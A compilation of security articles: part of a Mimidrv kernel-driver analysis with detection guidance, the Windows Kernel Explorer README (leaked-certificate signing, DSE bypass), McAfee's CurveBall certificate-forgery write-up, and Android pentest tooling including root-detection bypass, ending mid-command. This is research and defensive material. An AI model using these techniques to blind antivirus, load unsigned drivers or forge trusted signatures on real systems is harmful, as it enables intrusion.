address of the callback function inside of a driver. We then take that address and see which module is loaded at that address. And there we can see that this is the address of the process notification callback for WdFilter.sys, Defender’s driver! Could we write a RET instruction at this address to neuter this functionality in the driver? 😈 !notifThread The !notifThread command is nearly identical to the !notifProcess command, but it searches for the address of nt!PspCreateThreadNotifyRoutine to find the pointers to the thread notification callback functions instead of nt!PspCreateProcessNotifyRoutine. !notifImage These notifications allow a driver to receive and event whenever an image (e.g. driver, DLL, EXE) is mapped into memory. Just as in the function above, !notifImage simply changes the array it is searching for to nt!PspLoadImageNotifyRoutine in order to locate the pointers to image load notification callback routines. From there it follows the exact same process of bitshifting to get the address of the callback function. !notifReg A driver can register pre- and post-operation callbacks for registry events, such as when a key is read, created, or modified, using nt!CmRegisterCallback(Ex). While this functionality isn’t as common as the types we discussed previously, it gives developers a way to prevent the modification of protected registry keys. This module is simpler than the previous 3 in that it really centers around finding and working with a single undocumented structure. Mimidrv searches for the address to nt!CallbackListHead, which is a doubly-linked list that contains the pointer to the address of the registry notification callback routine. This structure can be documented as: At the offset 0x28 in this structure is the address of the registered callback routine. Mimidrv simply iterates through the linked list getting the callback function addresses and passing them to kkll_m_modules_fromAddr to get the offset of the function in its driver. !notifObject Note: This command is not working in release 2.2.0 2019122 against Win10 1903 and returns 0x490 (ERROR_NOT_FOUND) when calling kernel32!DeviceIoControl, likely due to not being able to find the address of nt!ObTypeDirectoryObject. I will update this section if it is modified and working again. Finally, a driver can register a callback to receive notifications when there are attempts to open or duplicate handles to processes, threads, or desktops, such as in the event of token stealing. This is useful for many different types of software, and is used by AVG’s driver to protect its user mode processes from being debugged. These callbacks can be either pre-operation or post-operation. Pre-operation callbacks allow the driver to modify the requested handle, such as the requested access, before the operation which returns a handle is complete. A post-operation callback allows the driver to perform some action after the operation has completed. Mimidrv first searches for the address of nt!ObpTypeDirectoryObject, which holds a pointer to the OBJECT_DIRECTORY structure. The “HashBuckets” member of this structure is a linked list of OBJECT_DIRECTORY_ENTRY structures, each containing an object value at offset 0x8. Each of these Objects are OBJECT_TYPE structures containing details about the specific type of object (processes, tokens, etc.) which are more easily viewed with WinDbg’s !object extension. The Hash number is the index in the HashBucket above. Mimidrv then extracts the Name member from the OBJECT_TYPE structure. The other member of note is CallbackList, which defines a list of pre- and post-operation callbacks which have been registered by nt!ObRegisterCallbacks. It is a LIST_ENTRY structure that points to the undocumented CALLBACK_ENTRY_ITEM structure. Mimidrv iterates through the linked list of CALLBACK_ENTRY_ITEM structures, passing each one to kkll_m_notify_desc_object_callback where the pointer from the pre-/post-operation callback is extracted and passed to kkll_m_modules_fromAddr in order to find the offset in the driver that the callback belongs to. Finally, Mimidrv loops through an array of 8 object methods starting from the OBJECT_TYPE + 0x70. If a pointer is set, Mimidrv passes it to kkll_m_modules_fromAddr to get the address of the object method and returns it to the user. This can be seen in the example below for the Process object type. Object Method Pointers for the Process Object Type While this function is not working on the latest release of Windows 10, the output would be similar to this: Source: https://www.slideshare.net/ASF-WS/asfws-2014-rump-session Modules While this section only contains 1 command, it also contains another core kernel concept — memory pools. Memory pools are kernel objects that allow chunks of memory to be allocated from a designated memory region, either paged or nonpaged. Each of these types has a specific use case. The paged pool is virtual memory that can be paged in/out (i.e. read/written) to the page file on disk, C:\pagefile.sys). This is the recommended pool for drivers to use. The nonpaged pool can’t be paged out and will always live in RAM. This is required in specific situations where page faults can’t be tolerated, such as when processing Interrupt Service Routines (ISRs) and during Deferred Procedure Calls (DPCs). Here’s an example of a standard allocation of paged pool memory: The last item to note is the third and final parameter of nt!ExAllocatePoolWithTag, the pool tag. This is typically a unique 4-byte ASCII value and is used to help track down drivers with memory leaks. In the example above, the memory would be tagged with “MATT” (the tag is little endian). Mimidrv uses the pool tag “kiwi”, which would be shown as “iwik”, as seen in Pavel Yosifovich’s PoolMonX below. !modules The !modules command lists details about drivers loaded on the system. This command primarily centers around the aux_klib!AuxKlibQueryModuleInformation function. Mimidrv first uses aux_klib!AuxKlibQueryModuleInformation to get the total amount of memory it will need to allocate in order to hold the AUX_MODULE_EXTENDED_INFO structs containing the module information. Once it receives that, it will use nt!ExAllocatePoolWithTag to allocate the required amount of memory from the paged pool using its pool tag, “kiwi”. Some quick math happens to determine the number of images loaded by dividing the size returned by the first call to aux_klib!AuxKlibQueryModuleInformation by the size of the AUX_MODULE_EXTENDED_INFO struct. A subsequent call to aux_klib!AuxKlibQueryModuleInformation is made to get all of the module information and store it for processing. Mimidrv then iterates through this pool of memory using the callback function kkll_m_modules_list_callback to copy the base address, image size, and file name into the output buffer which will be sent back to the user. Filters While we have primarily been exploring software drivers, there are 2 other types, filters and minifilters, that Mimidrv allows use to interact with. Filter drivers are considered legacy but are still supported. There are many types of filter drivers, but they all serve to expand the functionality of devices by filtering IRPs. Different subclasses of filter drivers exist to serve specific jobs, such as file system filter drives and network filter drivers. Example of a file system filter driver would be an antivirus engine, backup agent, or an encryption agent. The most common filter driver you will see is FltMgr.sys, which exposes functionality required by filesystem filters so that developers can more easily develop minifilter drivers. Minifilter drivers are Microsoft’s recommendation for filter driver development and include some distinct advantages, including being able to be unloaded without a reboot and reduced code complexity. These types of drivers are more common than legacy filter drivers and can be listed/managed with fltmc.exe. The biggest difference between these 2 types in the context of Mimidrv is that minifilter drivers are managed via the Filter Manager APIs. !filters The !filters command works almost exactly the same as the !modules command, but instead leverages nt!IoEnumerateRegisteredFiltersList to get a list of registered filesystem filter drivers on the system, stores them in a DRIVER_OBJECT struct, and prints out the index of the driver as well as the DriverName member. !minifilters The !minifilters command displays the minifilter drivers registered on the system. This function is a little tough to read, but that’s because the functions Mimidrv needs to call have memory requirements that aren’t known at runtime, so it makes a request solely to get the amount of memory required, allocates that memory, and then makes the real request. To help understand what is going on, it is helpful to break down each step by primary function. FltEnumerateFilters — The first call is to fltmgr!FltEnumerateFilters, which enumerates all registered minifilter drivers on the system and return a list of pointers. FltGetFilterInformation — Next, we iterate over this list of pointers, calling fltmgr!FltGetFilterInformation to get a FILTER_FULL_INFORMATION structure back, containing details about each of the minifilters. FltEnumerateInstances — For each of the minifilters, fltmgr!FltEnumerateInstances is used to get a list of instance pointers. FltGetVolumeFromInstance — Next, fltmgr!FltGetVolumeFromInstance is used to return the volume each minifilter is attached to (e.g. \Device\HarddiskVolume4). Note that minifilters can have multiple instances attached to different volumes. Get details about pre- and post-operation callbacks — We’ll dig into this next. FltObjectDereference — When all instances have been iterated through, fltmgr!FltObjectDereference is used to deference each instance and the list of minifilters. As you can see, Mimidrv makes use of some pretty standard Filter Manager API functions. However, step 5 is a bit odd in that it gets information about the minifilter using hardcoded offsets and makes calls to kkll_m_modules_fromAddr to get offsets without much indiction of what we are looking at. In the output of !minifilters, there are addresses of PreCallback and/or PostCallback, but what are these? Minifilter drivers may register up to 1 pre-operation callback and up to 1 post-operation callback for each operation that it needs to filter. When the Filter Manager processes an I/O operation, it passes the request down the driver stack starting with the minifilter with the highest altitude that has registered a pre-operation callback. This is the minifilter’s opportunity to act on the I/O operation before it is passed to the file system for completion. After the I/O operation is complete, the Filter Manager again passes down the driver stack for drivers with registered post-operation callbacks. Within these callbacks, the drivers can interact with the data, such as examining it or modifying it. In order to understand what Mimidrv is parsing out, lets dig into an example from the output of !minifilters on my system, specifically for the Named Pipe Service Triggers driver, npsvctrig.sys. We’ll crack open WinDbg and first look for our registered filters. Here we can see an instance of npsvctrig at address 0xffffc18f97e34cb0. Inspecting the FLT_INSTANCE structure at this address shows the member CallbackNodes at offset 0x0a0. There are 3 CALLBACK_NODE structures (screenshot snipped for viewing). Inspecting the first CALLBACK_NODE structure at 0xffffc18f97e34d50, we can see the PostOperation attribute (offset 0x20) has an address of 0xfffff8047e5f6010, the same that was shown in Mimikatz for “CLOSE”, which correlates to IRP_MJ_CLOSE. That means that this is a pointer to the post-operation callback’s address! But what about the offset inside the driver show in the output? To get this for us, Mimidrv calls kkll_m_modules_fromAddr, which in turn calls kkll_m_modules_enum, which we walked through in the “Modules” section, but this time with a callback function of kkll_m_modules_fromAddr_callback. This callback returns the address of the callback, the filename of the driver excluding the path, and the offset of the address we provided from the image’s base address. If we take a quick look at the offset 0x6010 inside of npsvctrig.sys, we can see that it is the start of its NptrigPostCreateCallback function. Memory These functions, while not implemented as commands available to the user, allow interaction with kernel memory and expose some interesting nuances to consider when working with memory in the kernel. These could be called by Mimikatz as they have correlating IOCTLs, so it is worth walking through what they do. kkll_m_memory_vm_read If the name didn’t give it away, this function could be used to read memory in the kernel. It is a very simple function but introduces 2 concepts we haven’t explored yet — Memory Descriptor Lists (MDLs) and page locking. Virtual memory should be contiguous, but physical memory can be all over the place. Windows uses MDLs to describe the physical page layout for a virtual memory buffer which helps in describing and mapping memory properly. In some cases we may need to access data quickly and directly and we don’t want the memory manager messing with that data (e.g. paging it to disk). To make sure that this doesn’t happen, we can use nt!MmProbeAndLockPages to lock the physical pages mapped by the virtual pages in memory temporarily so they can’t be paged out. This function requires that an operation be specified when called which describes what will be done. These can be either IoReadAccess, IoWriteAccess, or IoModifyAccess. After the operation completes, nt!MmUnlockPages is used to unlock the pages. The 2 concepts make up most of kkll_m_memory_vm_read. A MDL is allocated using nt!IoAllocateMdl, pages are locked with the nt!IoReadAccess specified, nt!RtlCopyMemory is used to copy memory from the MDL to the output buffer, and then the pages are unlocked with a call to nt!MmUnlockPages. This allows us to read arbitrary memory from the kernel. kkll_m_memory_vm_write This function is a mirror image of kkll_m_memory_vm_read, but the Dest and From parameters are switched as we are writing to an address described by the MDL as opposed to reading from it. kkll_m_memory_vm_alloc The kkll_m_memory_vm_alloc function allows for allocation of arbitrarily-sized memory from the non-paged pool by calling nt!ExAllocatePoolWithTag. and returns a pointer to the address where memory was allocated. This could be used in place of some of the direct calls to nt!ExAllocatePoolWithTag in Mimidrv as it implements error checking which could make the code a little more stable and easier to read. kkll_m_memory_vm_free As with all other types of memory, non-paged pool memory must be freed. The kkll_m_memory_vm_free function does just that with a call to nt!ExFreePoolWithTag. Like the function above, this could be used in place of direct calls to nt!ExFreePoolWithTag, but isn’t currently being used by Mimidrv. SSDT When a user mode application needs to create a file by using kernel32!CreateFile, how is the disk accessed and storage allocated for the user? Accessing system resources is a function of the kernel but these resources are needed by user mode applications, so there needs to be a way to make requests to the kernel. Windows makes use of system calls, or syscalls, to make this possible. Under the hood, here’s a rough view of what kernel32!CreateFile is actually doing: Right at the boundary between user mode and kernel mode, you can see a call to sysenter (this could also be substituted for syscall depending on the processor), which is used to transfer from user mode to kernel mode. This instruction takes a number, specifically a system service number, in the EAX register which determines which system call to make. @j00ru maintains a list of Windows syscalls and their service numbers on his blog. In our kernel32!CreateFile example, ntdll!NtCreateFile places 0x55 into EAX before the SYSCALL instruction. On the SYSCALL, KiSystemService in ring 0 receives the request and looks up the system service function in the System Service Descriptor Table (SSDT), KeServiceDescriptorTable. The SSDT holds pointers to kernel functions, and in this case we are looking for nt!NtCreateFile. In the past, rootkits would hook the SSDT and replace the pointer to kernel functions so that when system services were called, a function inside of their rootkit would be executed instead. Thankfully, Kernel Patch Protection (KPP/PatchGuard) protects critical kernel structures, such as the SSDT, from modification so this technique does not work on modern x64 systems. !ssdt The !ssdt command locates the KeServiceDescriptorTable in memory by searching for an OS version-specific pattern (0xd3, 0x41, 0x3b, 0x44, 0x3a, 0x10, 0x0f, 0x83 in Windows 10 1803+) which marks the pointer to the KeServiceDescriptorTable structure. Inside of the KeServiceDescriptorTable structure is a pointer to another structure, KiServiceTable, which contains an array of 32-bit offsets relative to KiServiceTable itself. Because we can’t really work with these offsets in WinDbg as they are left-shifted 4 bits, we can right-shift it by 4 bits and add it to KiServiceTable to get the correct address. We can also use some of WinDbg’s more advanced features to process the offsets and print out the module located at the calculated addresses to get the addresses of all services. This is the exact same thing the Mimidrv is doing after locating KeServiceDescriptorTable in order to locate pointers to services. If first prints out the index (e.g. 85 for NtCreateFile as shown in the earlier WinDbg screenshot) followed by the address. Then kkll_m_modules_fromAddr, which you’ll remember from earlier sections, is called to get the offset of the service/function inside of ntoskrnl.exe. Using the indexes provided by WinDbg, we can see the the address at index 0 points to nt!NtAccessCheck. which resides at offset 0x112340 in ntoskrnl.exe. Defending Against Driver-Based Threats Now that we’ve covered the inner workings of Mimidrv, how do we prevent the bad guys from getting in implanted on our systems in the first place? Using drivers against Windows 10 systems introduces some unique challenges for us as attackers, the largest of which being that drivers must be signed. Mimidrv has many static indicators that are easily modifiable, but require recompilation and re-signing using a new EV certificate. Because of the cost that comes with modifying Mimidrv, a brittle detection is still worth implementing. A few of the default indicators for Mimidrv implantation and organized by source are: Windows Event ID 7045/4697 — Service Creation Service Name: “mimikatz driver (mimidrv)” Service File Name: *\mimidrv.sys Service Type: kernel mode driver (0x1) Service Start Type: auto start (2) Note: Event ID 4697 contains information about the account that loaded the driver, which could aide in hunting. Audit Security System Extension must be configured via Group Policy for this event to be generated. Sysmon Event ID 11 — File Creation TargetFilename: *\mimidrv.sys Sysmon Event ID 6 — Driver Loaded ImageLoaded: *\mimidrv.sys SignatureStatus: Expired Another more broad approach to this problem is to step back even further and looks at the attributes of unwanted drivers as a whole. Third-party drivers are an inevitability for most organizations, but knowing what the standard is for your fleet and identifying anomalies is a worthwhile exercise. Windows Defender Application Control (WDAC) makes this incredibly simple to audit on Windows 10 systems. My colleague Matt Graeber wrote an excellent post on deploying a Code Integrity Policy and beginning to audit the loading of any non-Windows, Early Load AntiMalware (ELAM), or Hardware Abstraction Layer (HAL) drivers. After a reboot, the system will begin generating logs with Event ID 3076 for any driver that would have been blocked with the base policy. From here, we can begin to figure out which drivers are needed outside of the base policy, grant exemptions for them, and begin tuning detection logic to allow analysts to triage anomalous driver loads more efficiently. Further Reading If you have found this material interesting, here are some resources that cover some of the details that I glossed over in this post: Windows Kernel Programming by Pavel Yosifovich Windows Internals, Part 1 by Pavel Yosifovich, Mark Russinovich, David Solomon, and Alex Ionescu Practical Reverse Engineering: x86, x64, ARM, Windows Kernel, Reversing Tools, and Obfuscation, Chapter 3 by Bruce Dang, Alexandre Gazet, Elias Bachaalany, and Sébastien Josse OSR’s The NT Insider publication and community forum Microsoft’s sample WDM drivers Broderick Aquilino’s thesis Relevance of Security Features Introduced in Modern Windows OS Geoff Chappell’s Windows kernel documentation Posts By SpecterOps Team Members Posts from SpecterOps team members on various topics relating information security Follow Thanks to Matt Graeber. Mimikatz Drivers Wdm Windows Internals Kernel Written by Matt Hand Follow I like red teaming, picking up heavy things, and burritos. Adversary Simulation @ SpecterOps. github.com/matterpreter Sursa: https://posts.specterops.io/mimidrv-in-depth-4d273d19e148

This talk sheds some light into the intermediate language that is used inside the Hex-Rays Decompiler. The microcode is simple yet powerful to represent real world programs. By Ilfak Guilfanov Full abstract and materials: https://www.blackhat.com/us-18/briefi...

Microsoft Introduces Free Source Code Analyzer By Ionut Arghire on January 17, 2020 Microsoft this week announced a new source code analyzer designed to identify interesting characteristics of code. Called Microsoft Application Inspector, the new tool doesn’t focus on discovering poor programming practices in the analyzed code. Instead, it looks for interesting features and metadata, such as cryptography, connections to remote resources, and the underlying platform. The need for such a source code analyzer, the tech giant says, is rooted in the broad use of multiple components when building an application, including proprietary and open source code. Although code reuse brings a great deal of benefits, such as faster time-to-market, quality, and interoperability, it also increases risks and comes with the cost of hidden complexity, Microsoft explains. Unlike typical static analysis tools, which rather focus on identifying issues in the analyzed code, Application Inspector attempts to identify characteristics, to help determine what the software is or does. “Basically, we created Application Inspector to help us identify risky third party software components based on their specific features, but the tool is helpful in many non-security contexts as well,” Microsoft says. With the new tool, key changes in a component’s feature set over time (version to version) can be identified, as well as increased attack surface or the introduction of malicious code. The cross-platform, command-line tool can output results in multiple formats, including JSON and interactive HTML, and includes hundreds of feature detection patterns, tailored for popular programming languages, Microsoft says. Supported types of characteristics include application frameworks (development, testing); cloud / service APIs (Microsoft Azure, Amazon AWS, and Google Cloud Platform); cryptography (symmetric, asymmetric, hashing, and TLS); data types (sensitive, personally identifiable information); operating system functions (platform identification, file system, registry, and user accounts); and security features (authentication and authorization). Application Inspector was released in open source and is available for download from Microsoft’s GitHub repository. Sursa: https://www.securityweek.com/microsoft-introduces-free-source-code-analyzer

Introduction Windows Kernel Explorer (you can simply call it as "WKE") is a free but powerful Windows kernel research tool. It supports from Windows XP to Windows 10 (32-bit and 64-bit). Compared to WIN64AST and PCHunter, WKE can run on the latest Windows 10 without updating binary files. How WKE works on the latest Windows 10 WKE will automatically download required symbol files if the current system is not supported natively, 90% of the features will work after this step. For some needed data that doesn't exist in symbol files, WKE will try to retrieve them from the DAT file (when new Windows 10 releases, I will upload the newest DAT file to GitHub). If WKE cannot access the internet, 50% of the features will still work. Currently, native support is available from Windows XP to Windows 10 RS3, Windows 10 from RS4 to 19H2 are fully supported by parsing symbol files and DAT file. How to customize WKE You can customize WKE by editing the configuration file. Currently, you can specify the device name and symbolic link name of driver, and altitude of filter. You can also enable kernel-mode and user-mode characteristics randomization to avoid being detected by malware. If you rename the EXE file of WKE, then you need to rename SYS/DAT/INI files together with the same name. About digital signature and negative report from Anti-Virus softwares Because I don't have a digital certificate, I have to use the leaked digital certificate from HT SRL to sign drivers of WKE. I use "DSEFIX" as an alternative solution to bypass DSE, you can try to launch WKE with "WKE_dsefix.bat" if WKE loads driver unsuccessfully on your system. Signing files with the HT SRL digital certificate has a side effect: almost all anti-virus softwares infer files with HT SRL digital signature are viruses, because many hackers use it to sign malwares since 2015. Only idiots implant malicious code into a tool for experienced programmers and reverse engineers, because most users only use WKE in test environments, this kind of behavior is meaningless. About loading driver unsuccessfully If WKE prompts "unable to load driver", there may be the following reasons: Secure boot is enabled. Anti-Virus software prevents the driver from loading. Solutions: Disable secure boot. Add the files of WKE to the white list of Anti-Virus software. About open source It is a bit awkward, so I say straightforwardly: I don't plan to share the source code of this tool, but I may share some source code of test programs that associated with this tool. About WKE can be detected by anti-cheat solutions I received too much SPAM about this issue. I must declare: WKE is not designed to bypass any anti-cheat solution. If you need to use WKE in a specfic environment, please order "binary customization" service. Main Features Process management (Module, Thread, Handle, Memory, Window, Windows Hook, etc.) File management (NTFS partition analysis, low-level disk access, etc.) Registry management and HIVE file operation Kernel-mode callback, filter, timer, NDIS blocks and WFP callout functions management Kernel-mode hook scanning (MSR, EAT, IAT, CODE PATCH, SSDT, SSSDT, IDT, IRP, OBJECT) User-mode hook scanning (Kernel Callback Table, EAT, IAT, CODE PATCH) Memory editor and symbol parser (it looks like a simplified version of WINDBG) Hide driver, hide/protect process, hide/protect/redirect file or directory, protect registry and falsify registry data Path modification for driver, process and process module Enable/disable some obnoxious Windows components Screenshots In order to optimize the page load speed in low quality network environments, I only placed one picture on this page. Thanking List Team of WIN64AST (I referenced the UI design and many features of this software) Team of PCHunter (I referenced some features of this software) Team of ProcessHacker (I studied the source code of this software, but I didn't use it in my project) Author of DSEFIX (I use it as an alternative solution to load driver) Contact E-MAIL: AxtMueller#gmx.de (Replace # with @) If you find bugs, have constructive suggestions or would like to purchase a paid service, please let me know. You'd better write E-MAIL in English or German, I only reply to E-MAILs that I am interested in. Paid services: Feature customization: Add the features you need to WKE. Binary customization: Modify obvious characteristics of WKE and remove all of my personal information in WKE. Implant link: Implant link in WKE on "About" page, all users will see it when main dialog appears. Specific feature separation: Copy source code of specific feature to a separate project. Driver static library: It contains most of main features of WKE. Driver source code: Entire driver source code of WKE. Revision History Current Version: 20200107 Bug fix: Inputbox works improperly on the latest Windows 10. Revoked Versions: 00000000 These versions have serious security issues and should not be used anymore. Sursa: https://github.com/AxtMueller/Windows-Kernel-Explorer

CurveBall – An Unimaginative Pun but a Devastating Bug By Steve Povolny, Philippe Laulheret and Douglas McKee on Jan 17, 2020 2020 came in with a bang this year, and it wasn’t from the record-setting number of fireworks on display around the world to celebrate the new year. Instead, just over two weeks into the decade, the security world was rocked by a fix for CVE-2020-0601 introduced in Microsoft’s first patch Tuesday of the year. The bug was submitted by the National Security Administration (NSA) to Microsoft, and though initially deemed as only “important”, it didn’t take long for everyone to figure out this bug fundamentally undermines the entire concept of trust that we rely on to secure web sites and validate files. The vulnerability relies on ECC (Elliptic Curve Cryptography), which is a very common method of digitally signing certificates, including both those embedded in files as well as those used to secure web pages. It represents a mathematical combination of values that produce a public and private key for trusted exchange of information. Ignoring the intimate details for now, ECC allows us to validate that files we open or web pages we visit have been signed by a well-known and trusted authority. If that trust is broken, malicious actors can “fake” signed files and web sites and make them look to the average person as if they were still trusted or legitimately signed. The flaw lies in the Microsoft library crypt32.dll, which has two vulnerable functions. The bug is straightforward in that these functions only validate the encrypted public key value, and NOT the parameters of the ECC curve itself. What this means is that if an attacker can find the right mathematical combination of private key and the corresponding curve, they can generate the identical public key value as the trusted certificate authority, whomever that is. And since this is the only value checked by the vulnerable functions, the “malicious” or invalid parameters will be ignored, and the certificate will pass the trust check. As soon as we caught wind of the flaw, McAfee’s Advanced Threat Research team set out to create a working proof-of-concept (PoC) that would allow us to trigger the bug, and ultimately create protections across a wide range of our products to secure our customers. We were able to accomplish this in a matter of hours, and within a day or two there were the first signs of public PoCs as the vulnerability became better understood and researchers discovered the relative ease of exploitation. Let’s pause for a moment to celebrate the fact that (conspiracy theories aside) government and private sector came together to report, patch and publicly disclose a vulnerability before it was exploited in the wild. We also want to call out Microsoft’s Active Protections Program, which provided some basic details on the vulnerability allowing cyber security practitioners to get a bit of a head start on analysis. The following provides some basic technical detail and timeline of the work we did to analyze, reverse engineer and develop working exploits for the bug. This blog focuses primarily on the research efforts behind file signing certificates. For a more in-depth analysis of the web vector, please see this post. Creating the proof-of-concept The starting point for simulating an attack was to have a clear understanding of where the problem was. An attacker could forge an ECC root certificate with the same public key as a Microsoft ECC Root CA, such as the ECC Product Root Certificate Authority 2018, but with different “parameters”, and it would still be recognized as a trusted Microsoft CA. The API would use the public key to identify the certificate but fail to verify that the parameters provided matched the ones that should go with the trusted public key. There have been many instances of cryptography attacks that leveraged failure of an API to validate parameters (such as these two) and attackers exploiting this type of vulnerability. Hearing about invalid parameters should raise a red flag immediately. To minimize effort, an important initial step is to find the right level of abstraction and details we need to care about. Minimal details on the bug refer to public key and curve parameters and nothing about specific signature details, so likely reading about how to generate public/private key in Elliptical Curve (EC) cryptography and how to define a curve should be enough. The first part of this Wikipedia article defines most of what we need to know. There’s a point G that’s on the curve and is used to generate another point. To create a pair of public/private keys, we take a random number k (the private key) and multiply it by G to get the public key (Q). So, we have Q = k*G. How this works doesn’t really matter for this purpose, so long as the scalar multiplication behaves as we’d expect. The idea here is that knowing Q and G, it’s hard to recover k, but knowing k and G, it’s very easy to compute Q. Rephrasing this in the perspective of the bug, we want to find a new k’ (a new private key) with different parameters (a new curve, or maybe a new G) so that the ECC math gives the same Q back. The easiest solution is to consider a new generator G’ that is equal to our target public key (G’= Q). This way, with k’=1 (a private key equal to 1) we get k’G’ = Q which would satisfy the constraints (finding a new private key and keeping the same public key). The next step is to verify if we can actually specify a custom G’ while specifying the curve we want to use. Microsoft’s documentation is not especially clear about these details, but OpenSSL, one of the most common cryptography libraries, has a page describing how to generate EC key pairs and certificates. The following command shows the standard parameters of the P384 curve, the one used by the Microsoft ECC Root CA. Elliptic Curve Parameter Values We can see that one of the parameters is the Generator, so it seems possible to modify it. Now we need to create a new key pair with explicit parameters (so all the parameters are contained in the key file, rather than just embedding the standard name of the curve) and modify them following our hypothesis. We replace the Generator G’ by the Q from Microsoft Certificate, we replace the private key k’ by 1 and lastly, we replace the public key Q’ of the certificate we just generated by the Q of the Microsoft certificate. To make sure our modification is functional, and the modified key is a valid one, we use OpenSSL to sign a text file and successfully verify its signature. Signing a text file and verifying the signature using the modified key pair (k’=1, G’=Q, Q’=Q) From there, we followed a couple of tutorials to create a signing certificate using OpenSSL and signed custom binaries with signtool. Eventually we’re greeted with a signed executable that appeared to be signed with a valid certificate! Spoofed/Forged Certificate Seemingly Signed by Microsoft ECC Root CA Using Sysinternal’s SigChecker64.exe along with Rohitab’s API Monitor (which, ironically is on a site not using HTTPS) on an unpatched system with our PoC, we can clearly see the vulnerability in action by the return values of these functions. Rohitab API Monitor – API Calls for Certificate Verification Industry-wide vulnerabilities seem to be gaining critical mass and increasing visibility even to non-technical users. And, for once, the “cute” name for the vulnerability showed up relatively late in the process. Visibility is critical to progress, and an understanding and healthy respect for the potential impact are key factors in whether businesses and individuals quickly apply patches and dramatically reduce the threat vector. This is even more essential with a bug that is so easy to exploit, and likely to have an immediate exploitation impact in the wild. McAfee Response McAfee aggressively developed updates across its entire product lines. Specific details can be found here. Sursa: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/curveball-an-unimaginative-pun-but-a-devastating-bug/

Welcome to Bugcrowd University – Advanced Burp Suite Advanced! Adding onto the Introduction module found here, we explore further configurations, functionality, and some extensions that will enable you to better utilize Burp Suite.Content created by Bugcrowd Ambassador Jasmin Landry (jr0ch17). Follow him on Twitter @jr0ch17.

Lesser-known Tools for Android Application PenTesting 30 Dec 2019 » pentest Introduction In the past few months, I’ve been doing a lot of android application security assessments. Over time, I became familiar with the different tools, popular or not, that helped me in my assessments. In this post, I’ll list down these not-so-popular tools (in my opinion based on the different sources and blogs that I have read where these tools were not mentioned) that I’m using during my engagements. Note: There’s nothing fancy in this post. Just some tools that I found useful. Magisk While Magisk is a very popular framework and shouldn’t be considered as one of the “lesser-known” tools, it’s important that I mention it here since some of the tools included in this post are either a feature of Magisk or a module that you can install with Magisk. So if you don’t have Magisk on your testing device, make sure to install it now! Magisk Hide Magisk Hide is the first tool that will be discussed since it has saved me a lot of time when bypassing an application’s root detection mechanism. Magisk Hide is one of the features of Magisk, and bypassing root detection is as simple as toggling the switch ON. As an example, let’s try bypassing the root detection mechanism of the PS4 Remote Play app. When running this application on a rooted device, the following error shows up: To bypass the root detection of this application, open Magisk Manager, tap the menu icon ☰ (top left corner) and select Magisk Hide. Select the target application (“PS4 Remote Play” in this case) from the list of applications. Run the app again and we should now be able to launch the PS4 Remote Play without the error. If root detection was still not bypassed after adding the application in the Magiks Hide list, try hiding the Magisk Manager app itself. To do this, open Magisk Manager, tap the menu icon ☰ (top left corner) and select Setting. Then tap the Hide Magisk Manager option. This repackages the Magisk Manager app with a random package name and changes the app name from Magisk Manager to just Manager. Move Certificate Starting with Android Nougat (API Level 24), applications, by default, no longer trust user-added certificate for secure connections. This results in the following errors when capturing HTTPS traffic from an application running on Android Nougat and above. One method to resolve this issue is to add user-installed certificates to the system certificate store. This can be done manually or automatically using the Magisk module Move Certificate. Of course, I prefer the Magisk way! After installing the module, all user-installed certificate will be added automatically to the system certificate store. DisableFlagSecure Sensitive applications, such as mobile bankings, password managers, 2FA apps, etc., do not allow screenshots to be taken for security purposes. As an example, when taking a screenshot of the Aegis Authenticator 2FA app, the following error shows: When testing this kind of applications, taking evidence for findings which require showing the app or its screens is a bit of a hassle. Before, what I would do is to have another phone with me and take a photo of my testing device. This method annoys me because I have to make sure that the photo I’m taking is focused and clear. Plus, it doesn’t look great as evidence in a pentest report. Then I discovered the Xposed module DisableFlagSecure. This module disables the FLAG_SECURE window flag system-wide. FLAG_SECURE is is responsible for preventing screenshots to be taken. After installing DisableFlagSecure from Xposed and rebooting the device, screenshots can now be taken. Smali Patcher If you want to disable FLAG_SECURE “systemless-ly”, this can be done through Magisk with the help of Smali Patcher. After running SmaliPatcher.exe for the first time, it will download the necessary binaries and tools that it needs and will store them in the bin and tmp folders. Before clicking the ADB PATCH button, ensure the following are met: USB Debugging is enabled Device is attached to the PC USB Debugging connection is authorized Desired patch is ticked (Secure flag in this case) Once SmaliPatcher is done running, a zip file will be created on the working directory. Just flash this zip file through Magisk, reboot, and the patch (disabling FLAG_SECURE in this case) will be applied. SmaliPatcher also supports other patches as seen from the “Patch Options” section of the tool. It’s up to the reader to discover these patches. ADB Manager If you’re like me who has several testing devices but has only one cable available for connecting these devices into the computer, or you just hate cables, I found ADB Manager to be very useful. This application allows you to establish an ADB shell via Wi-Fi. Upon opening ADB Manager, just click the Start Network ADB button. To establish an ADB shell to the testing device (make sure USB Debugging is enabled), just type the following commands: adb connect <ip-addr-shown-in-ADB-Manager>:<port-shown-in-ADB-Manager> adb shell ProxyDroid When intercepting traffic from a device, you’ll observe a lot of traffic coming from applications other than the target application. Some of this traffic comes from background services running on the phone, and these unwanted data fill up the proxy history. This causes confusion as to whether a certain HTTP request came from the target application or not. To filter out these unwanted data, the simplest solution is to add the list of target hosts under the proxy’s target scope setting. However, I find this method to be repetitive since I have to do this for every engagement. Also, what if I just wanted to analyze a particular app and I don’t have an idea about the hosts the app is making requests to? Here comes ProxyDroid! Using its Individual Proxy option, you can select specific app or apps which you want to proxy. Under the Individual Proxy setting, just tick the app or apps you want to proxy, then switch ON ProxyDroid and everything should be good. pidcat Some applications write sensitive data, in plain-text format, in the system log. The system log can be viewed using Android’s Logcat utility. By simply running the command adb logcat, it prints out a lot of unnecessary data which makes the analysis very hard and confusing. To remove these unnecessary logs, we can filter Logcat’s output based on the target application using the following one-liner command: adb logcat | grep "$(adb shell ps | grep <target-app-package-name> | awk '{print $2}')" While the above command cleans up the messy Logcat’s default output, my preferred method is by using pidcat. To show log entries for processes from a specific application, just run this simple command: pidcat <target-app-package-name> Aside from the simplicity of running the command, you also have a nice colorful output. resize When typing long commands in an ADB shell, you’ll notice that the terminal size is limited. This is annoying especially when I’m viewing and analysing a file’s contents. Thankfully, BusyBox’s resize binary exists. Just run the command resize and you can now enjoy the full size of your terminal. If you’re testing on a physical device, you can install BusyBox via Playstore or do it “systemless-ly” via Magisk In an emulator which does not have the Google Playstore app, you can install BusyBox with the following commands: wget --no-parent --no-host-directories --cut-dirs 3 -r https://busybox.net/downloads/binaries/1.30.0-i686/ -P /tmp/busybox adb push /tmp/busybox /data/data/busybox adb shell "mount -o rw,remount /system && mv /data/data/busybox 